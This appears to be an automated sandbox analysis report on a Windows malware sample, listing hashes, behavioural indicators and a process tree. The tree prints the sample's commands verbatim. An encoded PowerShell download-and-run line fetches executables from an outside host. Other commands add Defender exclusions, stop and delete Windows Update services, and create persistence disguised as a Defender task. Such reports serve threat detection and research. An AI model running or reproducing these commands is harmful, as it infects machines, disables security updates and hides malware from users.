Analysis
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max time kernel
68s -
max time network
77s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
03/02/2023, 19:07
Static task
static1
Behavioral task
behavioral1
Sample
9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
Resource
win10v2004-20220812-en
General
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Target
9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
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Size
898KB
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MD5
59b4067b2e46f3e782f55c124f85c58e
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SHA1
9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4
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SHA256
091369381ef4de4d6caf614b4e307e84e59e422fdaf7d23feb13762c447909b4
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SHA512
88f1850824cab573b07810568f9068bfdda4e949e29139dba3829ecade9ab7c11ea9359e2b78379774a8acbfeea032c6ffba100dec370f7447ec463f939d63d8
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SSDEEP
3072:1L1hinzhEGbhWj/hGqHkSwWgEFZqvyXipmS6RIguAg0FujD0Qth7CTEzc:1LezhHE1GqESwBlvyyQ8AOc+tCTAc
Malware Config
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 4980 created 3036 4980 SmartDefRun.exe 68 PID 4980 created 3036 4980 SmartDefRun.exe 68 PID 4980 created 3036 4980 SmartDefRun.exe 68 PID 4980 created 3036 4980 SmartDefRun.exe 68 PID 3288 created 588 3288 powershell.EXE 6 -
Blocklisted process makes network request 2 IoCs
flow pid Process 10 2392 powershell.exe 18 2392 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 3 IoCs
pid Process 616 C4Loader.exe 4980 SmartDefRun.exe 4936 SysApp.exe -
Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1056 set thread context of 4372 1056 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 82 PID 4980 set thread context of 4420 4980 SmartDefRun.exe 110 PID 3288 set thread context of 3620 3288 powershell.EXE 115 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1920 sc.exe 1508 sc.exe 3384 sc.exe 3000 sc.exe 1456 sc.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 1124 1056 WerFault.exe 80 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE -
Suspicious behavior: EnumeratesProcesses 33 IoCs
pid Process 2392 powershell.exe 2392 powershell.exe 4936 SysApp.exe 4936 SysApp.exe 4936 SysApp.exe 4936 SysApp.exe 4936 SysApp.exe 4936 SysApp.exe 4936 SysApp.exe 4936 SysApp.exe 4936 SysApp.exe 4936 SysApp.exe 4980 SmartDefRun.exe 4980 SmartDefRun.exe 3400 powershell.exe 3400 powershell.exe 4980 SmartDefRun.exe 4980 SmartDefRun.exe 4980 SmartDefRun.exe 4980 SmartDefRun.exe 696 powershell.exe 696 powershell.exe 4980 SmartDefRun.exe 4980 SmartDefRun.exe 4748 powershell.EXE 3288 powershell.EXE 4748 powershell.EXE 3288 powershell.EXE 3288 powershell.EXE 3620 dllhost.exe 3620 dllhost.exe 3620 dllhost.exe 3620 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2392 powershell.exe Token: SeDebugPrivilege 3400 powershell.exe Token: SeDebugPrivilege 696 powershell.exe Token: SeIncreaseQuotaPrivilege 696 powershell.exe Token: SeSecurityPrivilege 696 powershell.exe Token: SeTakeOwnershipPrivilege 696 powershell.exe Token: SeLoadDriverPrivilege 696 powershell.exe Token: SeSystemProfilePrivilege 696 powershell.exe Token: SeSystemtimePrivilege 696 powershell.exe Token: SeProfSingleProcessPrivilege 696 powershell.exe Token: SeIncBasePriorityPrivilege 696 powershell.exe Token: SeCreatePagefilePrivilege 696 powershell.exe Token: SeBackupPrivilege 696 powershell.exe Token: SeRestorePrivilege 696 powershell.exe Token: SeShutdownPrivilege 696 powershell.exe Token: SeDebugPrivilege 696 powershell.exe Token: SeSystemEnvironmentPrivilege 696 powershell.exe Token: SeRemoteShutdownPrivilege 696 powershell.exe Token: SeUndockPrivilege 696 powershell.exe Token: SeManageVolumePrivilege 696 powershell.exe Token: 33 696 powershell.exe Token: 34 696 powershell.exe Token: 35 696 powershell.exe Token: 36 696 powershell.exe Token: SeIncreaseQuotaPrivilege 696 powershell.exe Token: SeSecurityPrivilege 696 powershell.exe Token: SeTakeOwnershipPrivilege 696 powershell.exe Token: SeLoadDriverPrivilege 696 powershell.exe Token: SeSystemProfilePrivilege 696 powershell.exe Token: SeSystemtimePrivilege 696 powershell.exe Token: SeProfSingleProcessPrivilege 696 powershell.exe Token: SeIncBasePriorityPrivilege 696 powershell.exe Token: SeCreatePagefilePrivilege 696 powershell.exe Token: SeBackupPrivilege 696 powershell.exe Token: SeRestorePrivilege 696 powershell.exe Token: SeShutdownPrivilege 696 powershell.exe Token: SeDebugPrivilege 696 powershell.exe Token: SeSystemEnvironmentPrivilege 696 powershell.exe Token: SeRemoteShutdownPrivilege 696 powershell.exe Token: SeUndockPrivilege 696 powershell.exe Token: SeManageVolumePrivilege 696 powershell.exe Token: 33 696 powershell.exe Token: 34 696 powershell.exe Token: 35 696 powershell.exe Token: 36 696 powershell.exe Token: SeIncreaseQuotaPrivilege 696 powershell.exe Token: SeSecurityPrivilege 696 powershell.exe Token: SeTakeOwnershipPrivilege 696 powershell.exe Token: SeLoadDriverPrivilege 696 powershell.exe Token: SeSystemProfilePrivilege 696 powershell.exe Token: SeSystemtimePrivilege 696 powershell.exe Token: SeProfSingleProcessPrivilege 696 powershell.exe Token: SeIncBasePriorityPrivilege 696 powershell.exe Token: SeCreatePagefilePrivilege 696 powershell.exe Token: SeBackupPrivilege 696 powershell.exe Token: SeRestorePrivilege 696 powershell.exe Token: SeShutdownPrivilege 696 powershell.exe Token: SeDebugPrivilege 696 powershell.exe Token: SeSystemEnvironmentPrivilege 696 powershell.exe Token: SeRemoteShutdownPrivilege 696 powershell.exe Token: SeUndockPrivilege 696 powershell.exe Token: SeManageVolumePrivilege 696 powershell.exe Token: 33 696 powershell.exe Token: 34 696 powershell.exe -
Suspicious use of WriteProcessMemory 49 IoCs
description pid Process procid_target PID 1056 wrote to memory of 4372 1056 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 82 PID 1056 wrote to memory of 4372 1056 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 82 PID 1056 wrote to memory of 4372 1056 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 82 PID 1056 wrote to memory of 4372 1056 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 82 PID 1056 wrote to memory of 4372 1056 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 82 PID 4372 wrote to memory of 2392 4372 vbc.exe 86 PID 4372 wrote to memory of 2392 4372 vbc.exe 86 PID 4372 wrote to memory of 2392 4372 vbc.exe 86 PID 2392 wrote to memory of 616 2392 powershell.exe 89 PID 2392 wrote to memory of 616 2392 powershell.exe 89 PID 2392 wrote to memory of 616 2392 powershell.exe 89 PID 2392 wrote to memory of 4980 2392 powershell.exe 90 PID 2392 wrote to memory of 4980 2392 powershell.exe 90 PID 2392 wrote to memory of 4936 2392 powershell.exe 91 PID 2392 wrote to memory of 4936 2392 powershell.exe 91 PID 2392 wrote to memory of 4936 2392 powershell.exe 91 PID 1120 wrote to memory of 1920 1120 cmd.exe 100 PID 1120 wrote to memory of 1920 1120 cmd.exe 100 PID 1120 wrote to memory of 1508 1120 cmd.exe 101 PID 1120 wrote to memory of 1508 1120 cmd.exe 101 PID 1120 wrote to memory of 3384 1120 cmd.exe 102 PID 1120 wrote to memory of 3384 1120 cmd.exe 102 PID 1120 wrote to memory of 3000 1120 cmd.exe 103 PID 1120 wrote to memory of 3000 1120 cmd.exe 103 PID 1120 wrote to memory of 1456 1120 cmd.exe 104 PID 1120 wrote to memory of 1456 1120 cmd.exe 104 PID 1120 wrote to memory of 3680 1120 cmd.exe 105 PID 1120 wrote to memory of 3680 1120 cmd.exe 105 PID 1120 wrote to memory of 3364 1120 cmd.exe 106 PID 1120 wrote to memory of 3364 1120 cmd.exe 106 PID 1120 wrote to memory of 1136 1120 cmd.exe 107 PID 1120 wrote to memory of 1136 1120 cmd.exe 107 PID 1120 wrote to memory of 1636 1120 cmd.exe 108 PID 1120 wrote to memory of 1636 1120 cmd.exe 108 PID 1120 wrote to memory of 396 1120 cmd.exe 109 PID 1120 wrote to memory of 396 1120 cmd.exe 109 PID 4980 wrote to memory of 4420 4980 SmartDefRun.exe 110 PID 3288 wrote to memory of 3620 3288 powershell.EXE 115 PID 3288 wrote to memory of 3620 3288 powershell.EXE 115 PID 3288 wrote to memory of 3620 3288 powershell.EXE 115 PID 3288 wrote to memory of 3620 3288 powershell.EXE 115 PID 3288 wrote to memory of 3620 3288 powershell.EXE 115 PID 3288 wrote to memory of 3620 3288 powershell.EXE 115 PID 3288 wrote to memory of 3620 3288 powershell.EXE 115 PID 3288 wrote to memory of 3620 3288 powershell.EXE 115 PID 3288 wrote to memory of 3620 3288 powershell.EXE 115 PID 3620 wrote to memory of 588 3620 dllhost.exe 6 PID 3620 wrote to memory of 644 3620 dllhost.exe 4 PID 3620 wrote to memory of 924 3620 dllhost.exe 12
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:644
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:588
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{5732c171-0de4-4399-baef-8040da15f007}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3620
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:924
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3036
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C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe"C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:616
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4980
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4936
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 2403⤵
- Program crash
PID:1124
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3400
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1920
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1508
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3384
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3000
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1456
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3680
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:3364
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1136
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1636
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:396
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
